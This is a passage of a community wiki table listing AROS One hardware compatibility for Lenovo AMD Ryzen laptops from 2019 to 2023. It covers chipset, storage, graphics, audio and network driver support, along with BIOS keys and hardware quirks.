&lt;!--Wireless--&gt;{{no|Realtek or Intel wifi}} || &lt;!--Test Distro--&gt;2025 AROS One 2.8 DVD 32bit and AROS One x64 1.1 and 1.2 iso DVD burnt but not USB boot || &lt;!--Comments--&gt;2019 64bit - 15.6in 768p or 1080p 200nits tn panel - 4Gb ddr4 2400MHz soldered with 1 dimm slot max 20Gb - round ac 20V 65W psu 4.0mm x 1.7mm - Fn+F2 to enter bios and F12 boot order - no sd card slot - 2pin cr2032 cmos coin battery - 
|-
|&lt;!--Name--&gt;V15-ADA 82C700E4UK- elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD r5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 with up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{Yes|HD Audio 6.36 0x1022, 0x15E3 with R155189 ALC236 codec 0x10ec, 0x0236 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 3500U with Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - noisy fan - 
|-
|&lt;!--Name--&gt;V15-ADA 82C7 - elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U, 3250U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD + 1x M.2 SSD NVme near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 with up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HD Audio 6.36 0x1022, 0x15E3 with RTS5119 R155119 ALC230 codec}} || &lt;!--USB--&gt;{{maybe|3 USB3.0, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit 2.8 and 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - for this mbd bios ram disable doesn't work - noisy fan - 
|-
|&lt;!--Name--&gt;Lenovo V14-ADA 82C6, - elan touchpad not working - if blank black display, bios bug going from uefi-&gt;legacy so reset bios rhs push in with pin, then Down, ent, Right x3, ent, up, ent, right, ent x2 - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;'''tested''' 3250U - '''untested''' AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U - for this mbd GV451&amp;GV551 NM-D151 bios ram disable doesn't work || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD if cbl + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3 up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{no|HD Audio 6.36 0x1022, 0x15E3 with Realtek ALC3223 RTS5119 R185199 aka ALC230 codec 0x10ec, 0x0230 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 AMD 3250U with Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - F2 bios F12 select - 
|-
|&lt;!--Name--&gt;IdeaPad 1 14ADA5 (low spec cpus) ideaPad 3 14ADA05, IdeaPad 3 15ADA05 81W100QVUK, IdeaPad 3 17ADA05 - elan touchpad not working - internal battery 34whr L16M2PB2 l16l2pb3 || &lt;!--Chipset--&gt;AMD Athlon Silver 3020e, Ryzen 3 3050U, 3150U, 3250U, Ryzen 5 3500U on mobo NM-C821 REV 0.2 1.0 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1x 2.5&quot; HDD if cbl + 1x M.2 SSD NVMe near fan, no cd dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3, 8 up to 1080p with 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{no|HD Audio 6.36 0x1022, 0x15E3 with ALC230 codec 0x10ec, 0x0230 on 32bit and on 64bit}} || &lt;!--USB--&gt;{{maybe|3 USB3, on left hand side,}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit 2.8 installed to 2.5in drive on another machine and same for 64bit || &lt;!--Comments--&gt;2019 64bit - 14 or 15.6in 768p on low spec machines to 1080p - 4GB soldered with 1 ddr4 sodimm slot - 2pin cr2032 cmos coin battery - sd card slot - F2 bios F12 boot select - 
|-
|&lt;!--Name--&gt;Lenovo IdeaPad L340-15API 81LW001CUS L340-17API - elan trackpad not functioning - internal battery L18M3PF2 || &lt;!--Chipset--&gt;AMD Athlon 300U, Ryzen 3 3200U r5 3500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 M.2 nvme and usually 2.5in sata if ribbon cable present - mini sata dvd/cd da-8aesh11b || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 3 or 8 with up to 2Gb of soldered ram memory taken - hdmi 1.4b}} || &lt;!--Audio--&gt;{{unk|HDAudio add 0x1022, 0x15E3 with Realtek ALC236 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3 not detected}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no|Realtek or Intel wifi}} || &lt;!--Test Distro--&gt;AROS One 2.8 USB - install on mbr not gpt 2.5in in another compatible machine || &lt;!--Comments--&gt;2019 64bit - 15.6in 768p or 1080p 200nits - 4Gb ddr4 2400MHz soldered with 1 dimm slot max 20Gb - round ac 20V 65W psu 4.0mm x 1.7mm - Return or F1 to enter bios and F12 boot order - no sd card slot - 
|-
|&lt;!--Name--&gt;[https://www.laptop-schematics.com/db/78/T%20series%20laptops%20(ThinkPad)/ ThinkPad T295 T495] || &lt;!--Chipset--&gt;Ryzen 3 3300U, R5 Pro 3500U or R7 3700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe up to 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 6, 8 or 10 up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111EPV}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE or Intel AC 9260}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 14in 768p but mostly FHD 1080p 250 nits - internal battery - ram 8gb or 16gb 2400Mhz soldered with 1 ddr4 slot on T495 only - TPM 2.0 - usb-c charging avoid knock whilst in use - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad T495s (14in) X395 (13in) || &lt;!--Chipset--&gt;Ryzen 3 3300U, R5 Pro 3500U or R7 3700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe up to 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 6, 8 or 10 up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{unk| needs Lenovo ThinkPad Ethernet Adapter Gen 2 SC10P42352 or SC10P42354}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE or Intel AC 9260 wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 13in or 14in 768p but mostly FHD 1080p 250 nits - internal battery - ram 8gb or 16gb 2400Mhz soldered - TPM 2.0 - usb-c charging avoid knock whilst in use - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad E14 Gen2, E15 Gen 2 (AMD) 20T8,  - lenovo has a mobile phone PC Diagnostic App for error/beep codes || &lt;!--Chipset--&gt;AMD Ryzen 3 4300U, 5 4500U, 7 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2 m.2 nvme, 1 2242 and 1 2280 || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Radeon up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 15.6in 1080p 220 nits - TPM 2.0 - usb-c charging of internal 45Whr battery - 4gb ddr4 3200Mhz soldered and 1 ddr4 sodimm slot max 20Gb - keyboard swap problematic - plastic bendy case - 
|-
|&lt;!--Name--&gt;Lenovo ThinkPad T14 Gen 1, ThinkPad P14s Gen 1 (AMD) || &lt;!--Chipset--&gt;AMD Ryzen 3 4300u, 5 4500U, Ryzen 5 Pro 4650U, Ryzen 7 Pro 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Vega }} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - USB-C charging avoid moving whilst in use - 14&quot; or 15&quot; 1080p - keyboard swap problematic - 8gb or 16gb 3200MHz soldered with 1 ddr4 sodimm slot - sd card slot - 
|-
|&lt;!--Name--&gt;Thinkpad L14 Gen 1, L15 Gen 1, || &lt;!--Chipset--&gt;AMD Ryzen 3 4300u, 5 4500U, Ryzen 5 Pro 4650U, Ryzen 7 Pro 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Vega }} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - USB-C charger avoid moving whilst in use - 14&quot; or 15&quot; 1080p - keyboard swap problematic - 8gb or 16gb 3200MHz soldered with 1 ddr4 sodimm slot - sd card slot - 
|-
|&lt;!--Name--&gt;Lenovo ThinkPad X13 Gen1 AMD,  || &lt;!--Chipset--&gt;AMD RYZEN 3 4450U, 5 4650U or 7 4750U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;One drive, up to 512GB M.2 2242 SSD or 1TB M.2 2280 SSD NVMe || &lt;!--Gfx--&gt;{{partial|VESA Radeon up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| but USB-C ports can fail}} || &lt;!--Ethernet--&gt;{{no|Realtek RTL8111EPV, mini RJ-45 to RJ-45 via optional ThinkPad Ethernet Extension Adapter Gen 2}} || &lt;!--Wireless--&gt;{{no|Realtek Wi-Fi 6 RTL8852AE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 13.3&quot; HD 1366x768 to 1080p - USB-C port care needed as damages easily - Memory soldered to systemboard, no slots, dual-channel DDR4-3200 - 
|-
|&lt;!--Name--&gt;Lenovo ThinkBook 14 G2, 15 G2 Are || &lt;!--Chipset--&gt;Ryzen 5 4500u, 7 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;14in has 2 m.2 nvme but 15in has 1 nvme and might have 2.5in sata metal caddy if smaller battery version || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon up to 2Gb of soldered ram memory taken || &lt;!--Audio--&gt;{{unk|HDAudio with ALC???? codec 0x10EC, 0x0}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14in or 15in 1080p - usb-c charging but high failure rate on the charging port - 4gb or 8gb soldered with 1 ddr4 sodimm slot 3200mhz - hinge(s) issues - 
|-
|&lt;!--Name--&gt;IdeaPad 5 14ARE05 (81YM), Ideapad 5 15ARE05 (), IdeaPad 3 17ARE05 (model 81W5) - elan touchpad MSFT0004:00 06CB:CD98 not working || &lt;!--Chipset--&gt;'''tested''' 4500u - '''untested''' AMD 3 4300U (4c4t), 4600U (6c12t), 7 4700u (8c16t) on AMD Promontory Bixby FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1x M.2 2242 slot and 1x M.2 2280 NVMe which will take sata m.2 will boot to grub then laptop reset after choice}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 6 via hdmi output up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 6.36 0x1637 0x15e3 with Realtek ALC3287 aka ALC257 codec 0x10ec 0x0257}} || &lt;!--USB--&gt;{{maybe|USB 3.1 or 3.2 gen 1}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Intel ax200 wifi 6}} || &lt;!--Test Distro--&gt;4500u with AROS One 64bit 1.2 usb installed to m.2 sata on another machine || &lt;!--Comments--&gt;2020 64bit 14inch 768p or 1080p - round lenovo ac - 4gb, 8gb, or 16gb ddr4 3200Mhz ram soldered with 1 slot - keyboard swap problematic - integrated battery  - 
|-
|&lt;!--Name--&gt;Ideapad Flex 5 81X2, Lenovo Yoga 6 13ALC6 || &lt;!--Chipset--&gt;AMD R5 4500u, R7 4800U, R3 5300 R5 5500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 NVMe ssd || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Vega up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC? codec}} || &lt;!--USB--&gt;{{maybe|USB3.1 gen 1}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|realtek ac wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit abs plastic case 14in convertible 1080p touch low nits - 65w usb-c psu ac - possible wacom esr note taking pen supplied - ram soldered DDR4 - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 2, P14s Gen 2 || &lt;!--Chipset--&gt;AMD 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk|HDaudio with ALC3287-CG codec 0x10EC, 0x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe| }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 - usb-c power 90% failure rate on the charging port - 
|-
|&lt;!--Name--&gt;Lenovo ThinkBook 14 G3, 15 G3 ACL, || &lt;!--Chipset--&gt;Ryzen 5 5500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 nvme || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14in or 15in 1080p - usb-c charging powered - 
|-
|&lt;!--Name--&gt;ThinkPad E14 G3, E15 Gen 3 (AMD) || &lt;!--Chipset--&gt;AMD 5300U 5500U 5650U 5700U 5800U  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;up to 2 m.2 nvme || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk|HDaudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUS}} || &lt;!--Wireless--&gt;{{no|realtek or intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - - usb-c charging issues - keyboard swap problematic - 4gb or 8gb soldered with 1 ddr4 3200Mhz sodimm slot - plastic bendy case -  
|-
|&lt;!--Name--&gt;V14 Gen 2 (82KA, 82KC)
*ALO 
*ALC 82KD
 || &lt;!--Chipset--&gt;Ryzen 3 5300U, 5 5500U, 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme 2280 and optional 2.5in sata after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111H-CG}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6&quot; FHD 1080p - 4gb or 8gb soldered with 1 ddr4 sodimm slot - 65w round ac adaptor - 
|-
|&lt;!--Name--&gt;V15 G2 Gen2 (82KB, 82KD)
*ALO 
*ALC 82KD
 || &lt;!--Chipset--&gt;Ryzen 3 5300U, 5 5500U, 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme 2280 and optional 2.5in sata after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111H-CG}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6&quot; FHD 1080p - 4gb or 8gb soldered with 1 ddr4 sodimm slot - 65w round ac adaptor - 
|-
|&lt;!--Name--&gt;ThinkPad L15 Gen 2 (15″, AMD) || &lt;!--Chipset--&gt;AMD 5000 series AMD Ryzen 3 5400U (4c8t), 5 5600U, 5 5650U (6c12t), 7 PRO 5850U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek® ALC3287}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle RTL8111EPV (DASH models) or RTL8111HN}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 15.6in 768p or 1080p - usb-c charging - 4gb soldered with 1 ddr4 3200Mhz sodimm slot - 
|-
|&lt;!--Name--&gt;ThinkPad E14 Gen 4, E15 Gen 4 (15″, AMD) || &lt;!--Chipset--&gt;AMD 3 5425u, 5 5625U, 7 5825u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 (14&quot;) or 2 (15&quot;) nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC3287 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6in 1080p - usb-c charging - 4gb or 8gb soldered with 1 ddr4 3200Mhz sodimm slot - L19M3PDA 45Whr battery - U24 TPS65994 and QB6 QB5 mosfet issues - plastic bendy case - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 3 Machine types MT 21AH 21AJ 21CF and 21CG, P14s Gen 3 || &lt;!--Chipset--&gt;AMD 6850U || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| ALC3287-VA2-CG codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 
|-
|&lt;!--Name--&gt;ThinkPad T14s Gen 3 || &lt;!--Chipset--&gt;AMD 6500U || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2d || &lt;!--Audio--&gt;{{unk| ALC3287-VA2-CG codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Ethernet support via optional Lenovo® USB-C® to Ethernet Adapter}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 
|-
|&lt;!--Name--&gt;V14 G3, V15 G3 Gen3 ALC || &lt;!--Chipset--&gt;Ryzen 5 6500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme and optional 2.5in sata if smaller 38Wh battery and after sourcing ribbon cable and connector, no dvd || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15&quot;FHD - battery BYD L20B2PFO - 
|-
|&lt;!--Name--&gt;ThinkPad L15 Gen 3 (15″, AMD) || &lt;!--Chipset--&gt;AMD 6000 series || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;Lenovo Yoga 7 14ARB7 || &lt;!--Chipset--&gt;AMD Ryzen 5, 6600U, 7 6800U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 nvme || &lt;!--Gfx--&gt;AMD 660M or 680M || &lt;!--Audio--&gt;{{No|HDaudio with ALC3306 aka alc287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit - 14in 1800p ips 300 nits - usb-c ac charging 71whr integrated battery - sd card slot - digital pen input - 8gb, 6gb or 32gb soldered ddr5 ram - 
|-
|&lt;!--Name--&gt;ThinkPad T14 Gen 4, P14s Gen 4 || &lt;!--Chipset--&gt;AMD Ryzen Pro 5 7540U, Ryzen Pro 7 7840U (AI NPU) || &lt;!--IDE--&gt;{{n/a}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;VESA 2D for AMD 740M 780M|| &lt;!--Audio--&gt;{{unk|HDAudio ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1920x1200 - 8gb, 16gb or 32gb lpddr5 soldered - usb-c charging - 
|-
|&lt;!--Name--&gt;ThinkPad E14 g5, E15 Gen 5 (15″, AMD) || &lt;!--Chipset--&gt;AMD 7000 series Ryzen 5-7530U, 7-7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit- 15.6in 1080p - 
|-
|&lt;!--Name--&gt;Thinkbook 14 G6 ABP IRL, ThinkBook 16 G6ABP (21KK001CUK) || &lt;!--Chipset--&gt;AMD Ryzen 7530U 7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 nvme || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 untested}} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1200p or 1440p - 100W USB-C AC power adapter - 
|-
|&lt;!--Name--&gt;IdeaPad Slim 5 Light 14ABR8 Laptop || &lt;!--Chipset--&gt;AMD Ryzen 3 7330U (4c8t) 5 7530U (6c12t) 7 7730U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2 m.2 nvme slot - 1 2242, 1 2280 || &lt;!--Gfx--&gt;VESA 2d for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDaudio with Realtek® ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 14in 1080p - 8Gb or 16Gb soldered ram - usb-c charging only - 
|-
|&lt;!--Name--&gt;ThinkPad X13 Gen 4 (13&quot; AMD) || &lt;!--Chipset--&gt;AMD 7480U 7040U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{partial|VESA}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 - avoid usb-c port damage - 
|-
|&lt;!--Name--&gt;ThinkPad L14 (Gen4), L15 Gen 4 (15&quot; AMD) || &lt;!--Chipset--&gt;MD Ryzen 5 PRO 7530U, 7480U 7040U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{partial|VESA}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|rtl8169 needs dongle}} || &lt;!--Wireless--&gt;{{no| wifi}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - elan trackpad - 
|-
|&lt;!--Name--&gt;Lenovo Gen 4 V14 (82YT, 82YV, 83A0, 83A1, 83CC, 83FR, 82YX, 83FG), V15 (82YU, 82YW, 83FS, 82YY, 83CR), V17 (83A2),  || &lt;!--Chipset--&gt;AMD AMD Athlon™ Gold 7220U (2c4t), AMD Athlon™ Silver 7120U (2c2t), AMD Ryzen™ 3 7320U (4c8t), AMD Ryzen™ 5 7520U (4c8t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme and 2.5in sata if smaller 38Wh battery, no dvd || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for AMD 610M HDMI® and USB-C}} || &lt;!--Audio--&gt;{{unk|HDaudio  with ALC3287 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Gigabit Ethernet, 1x RJ-45}} || &lt;!--Wireless--&gt;{{no|wifi 6}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6&quot; FHD 1080p - 8 or 16Gb soldered - 65W round tip (3-pin) AC adapter or USB-C - 
|-
